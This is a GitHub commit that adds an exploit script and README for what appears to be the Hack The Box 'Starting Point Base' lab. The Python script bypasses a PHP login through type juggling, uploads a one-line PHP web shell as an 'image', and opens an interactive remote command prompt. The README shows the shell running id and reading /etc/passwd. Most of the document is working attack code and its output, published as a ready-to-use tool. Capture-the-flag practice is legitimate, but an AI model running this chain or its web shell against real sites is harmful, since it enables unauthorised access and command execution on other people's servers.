Skip to content

Commit adfa753

Browse files
committed
add starting point base htb
1 parent 640f8df commit adfa753

File tree

3 files changed

+174
-0
lines changed

3 files changed

+174
-0
lines changed

starting_point_base_htb/README.md

Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
# RCE - Starting Point Base HTB
2+
![rce](screenshot/rce.png)
3+
```bash
4+
┌──(kali㉿kali)-[~/Lab/htb/starting_point_base]
5+
└─$ python3 rce.py "http://base.htb"
6+
7+
>> Remote Code Execution (RCE) - Starting Point Base HTB
8+
>> by twseptian
9+
10+
[*] Bypass Login page using PHP Juggling...
11+
[✓] Get Login Access
12+
[*] Uploading PHP Shell...
13+
[✓] PHP Shell has been uploaded successfully
14+
[✓] Successfully connected to webshell.
15+
CMD> id
16+
uid=33(www-data) gid=33(www-data) groups=33(www-data)
17+
18+
CMD> ls -la /var/www/html
19+
total 72
20+
drwxr-xr-x 6 root root 4096 Jun 9 13:36 .
21+
drwxr-xr-x 3 root root 4096 Jun 4 16:56 ..
22+
drwxrwxr-x 2 root www-data 4096 Jun 21 08:51 _uploaded
23+
drwxr-xr-x 7 root root 4096 Jun 4 16:08 assets
24+
drwxr-xr-x 2 root root 4096 Jun 4 15:55 forms
25+
-rwxr-xr-x 1 root root 39344 Jun 4 17:01 index.html
26+
drwxr-xr-x 2 root root 4096 Jun 15 11:23 login
27+
-rwxr-xr-x 1 root root 128 Jun 4 17:04 logout.php
28+
-rwxr-xr-x 1 root root 2952 Jun 9 13:36 upload.php
29+
30+
CMD> cat /etc/passwd
31+
root:x:0:0:root:/root:/bin/bash
32+
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
33+
bin:x:2:2:bin:/bin:/usr/sbin/nologin
34+
sys:x:3:3:sys:/dev:/usr/sbin/nologin
35+
sync:x:4:65534:sync:/bin:/bin/sync
36+
games:x:5:60:games:/usr/games:/usr/sbin/nologin
37+
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
38+
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
39+
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
40+
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
41+
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
42+
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
43+
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
44+
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
45+
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
46+
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
47+
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
48+
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
49+
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
50+
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
51+
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
52+
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
53+
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
54+
lxd:x:105:65534::/var/lib/lxd/:/bin/false
55+
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
56+
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
57+
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
58+
pollinate:x:109:1::/var/cache/pollinate:/bin/false
59+
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
60+
john:x:1000:1000:John:/home/john:/bin/bash
61+
62+
CMD>
63+
```

starting_point_base_htb/rce.py

Lines changed: 111 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,111 @@
1+
#!/usr/bin/python3
2+
import requests
3+
import sys
4+
import os
5+
import urllib3
6+
import re
7+
8+
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
9+
10+
class Interface ():
11+
def __init__ (self):
12+
self.red = '\033[91m'
13+
self.green = '\033[92m'
14+
self.white = '\033[37m'
15+
self.yellow = '\033[93m'
16+
self.bold = '\033[1m'
17+
self.end = '\033[0m'
18+
19+
def header(self):
20+
print('\n >> Remote Code Execution (RCE) - Starting Point Base HTB')
21+
print(' >> by twseptian\n')
22+
23+
def info (self, message):
24+
print(f"[{self.white}*{self.end}] {message}")
25+
26+
def warning (self, message):
27+
print(f"[{self.yellow}!{self.end}] {message}")
28+
29+
def error (self, message):
30+
print(f"[{self.red}x{self.end}] {message}")
31+
32+
def success (self, message):
33+
print(f"[{self.green}{self.end}] {self.bold}{message}{self.end}")
34+
35+
# Instantiate our interface class
36+
global output
37+
output = Interface()
38+
output.header()
39+
40+
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
41+
s = requests.Session()
42+
43+
def bypass_login_page(url):
44+
uri = "/login/login.php"
45+
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close","Upgrade-Insecure-Requests": "1"}
46+
data = {"username": "admin", "password[]": "password"}
47+
response = s.post(url+uri, headers=headers, data=data, verify=False, proxies=proxies,allow_redirects=True)
48+
login_acces = response.status_code
49+
if login_acces == 200:
50+
return True
51+
else:
52+
return False
53+
54+
def upload_shell(url):
55+
output.info("Uploading PHP Shell...")
56+
phpshell = {'image': ( 'shell.php', '<?php echo shell_exec($_REQUEST["cmd"]); ?>', 'application/octet-stream',{'Content-Disposition': 'form-data'})}
57+
response = s.post(url+'/upload.php',files=phpshell,proxies=proxies)
58+
file_upload = response.status_code
59+
if file_upload == 200:
60+
return True
61+
else:
62+
return False
63+
64+
def webshell(url):
65+
try:
66+
WEB_SHELL = url+'/_uploaded/shell.php'
67+
getdir = {'cmd': 'echo CMD'}
68+
r2 = requests.get(WEB_SHELL, params=getdir, verify=False, proxies=proxies)
69+
status = r2.status_code
70+
if status != 200:
71+
output.error("Couldn't connect to the webshell")
72+
r2.raise_for_status()
73+
output.success("Successfully connected to webshell.")
74+
cwd = re.findall('[CDEF].*', r2.text)
75+
cwd = "\033[91m"+cwd[0]+"\033[0m> "
76+
term = cwd
77+
while True:
78+
thought = input(term)
79+
command = {'cmd': thought}
80+
r2 = requests.get(WEB_SHELL, params=command, verify=False)
81+
status = r2.status_code
82+
if status != 200:
83+
r2.raise_for_status()
84+
response2 = r2.text
85+
print(response2)
86+
except:
87+
print("\r\n"); output.warning("Existing.")
88+
sys.exit(-1)
89+
90+
def main():
91+
if len(sys.argv) !=2:
92+
output.info("Usage: %s <url>" % sys.argv[0])
93+
output.info("Example: %s www.example.com" % sys.argv[0])
94+
sys.exit(-1)
95+
96+
url = sys.argv[1]
97+
output.info("Bypass Login page using PHP Juggling...")
98+
login_access = bypass_login_page(url)
99+
if login_access:
100+
output.success("Get Login Access")
101+
file_upload = upload_shell(url)
102+
if file_upload:
103+
output.success("PHP Shell has been uploaded successfully")
104+
webshell(url)
105+
else:
106+
output.error("Failed to upload PHP Shell")
107+
else:
108+
output.error("Failed to bypass login page")
109+
110+
if __name__ == "__main__":
111+
main()
64.3 KB
Loading

0 commit comments

Comments
 (0)